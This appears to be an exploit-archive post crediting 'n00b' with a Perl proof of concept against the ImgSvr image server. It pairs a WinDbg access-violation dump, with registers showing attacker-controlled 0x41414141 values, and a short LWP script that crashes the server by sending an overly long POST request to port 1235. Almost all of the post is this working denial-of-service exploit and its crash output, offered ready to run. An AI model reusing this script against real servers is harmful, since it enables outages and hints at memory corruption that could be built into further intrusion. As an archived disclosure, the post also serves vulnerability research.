I have provided the fillowing proof of concept.. Afected-softwear Credit's :n00b. http://freshmeat.net/projects/imgsvr/ Exploit, #!/usr/bin/perl ##Proof of concept. ######################################################################## ######### #Credit's:to n00b for finding this bug. # #Afected :ImgSvr.exe # #Download softwear: http://freshmeat.net/projects/imgsvr/ # #Crash the server with overly long http post request.. # #Main site of affected product. http://freshmeat.net/projects/imgsvr/ #Sending an overly long post request will crash the server with the following. #Acsess violation.. #Tested :win xp sp1.. # #error:500 Server closed connection without sending any data back #this is a error msg will receive on successful exploitation. ######################################################################## ######### ##(e7c.168): Access violation - code c0000005 (first chance) # First chance exceptions are reported before any exception handling. # This exception may be expected and handled. # eax=41414142 ebx=00000000 ecx=00000000 edx=00000002 esi=41414141 edi=00000000 # eip=006bf546 esp=022ab1c4 ebp=022ab628 iopl=0 nv up ei pl nz na po nc # cs=001b ss=0023 ds=0023 es=0023 fs=0038 gs=0000 efl=00010206 # *** WARNING: Unable to verify checksum for C:Program FilesImgsvrimgsvr.exe # *** ERROR: Module load completed but symbols could not be loaded for C:Program FilesImgsvrimgsvr.exe # imgsvr+0x2bf546: # 006bf546 881c30 mov [eax+esi],bl ds:0023:82828283=?? ######################################################################## ########### # # Usage: imageserv.pl change to your ip 127.0.0.1 < vic ip port 1235 ######################################################################## ########### use LWP::UserAgent; $ua = LWP::UserAgent->new; my $req = HTTP::Request->new(POST => 'http://127.0.0.1:1235/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'); $req->content_type('application/x-www-form-urlencoded'); $req->content('match=www&errors=0'); my $res = $ua->request($req); print $res->as_string;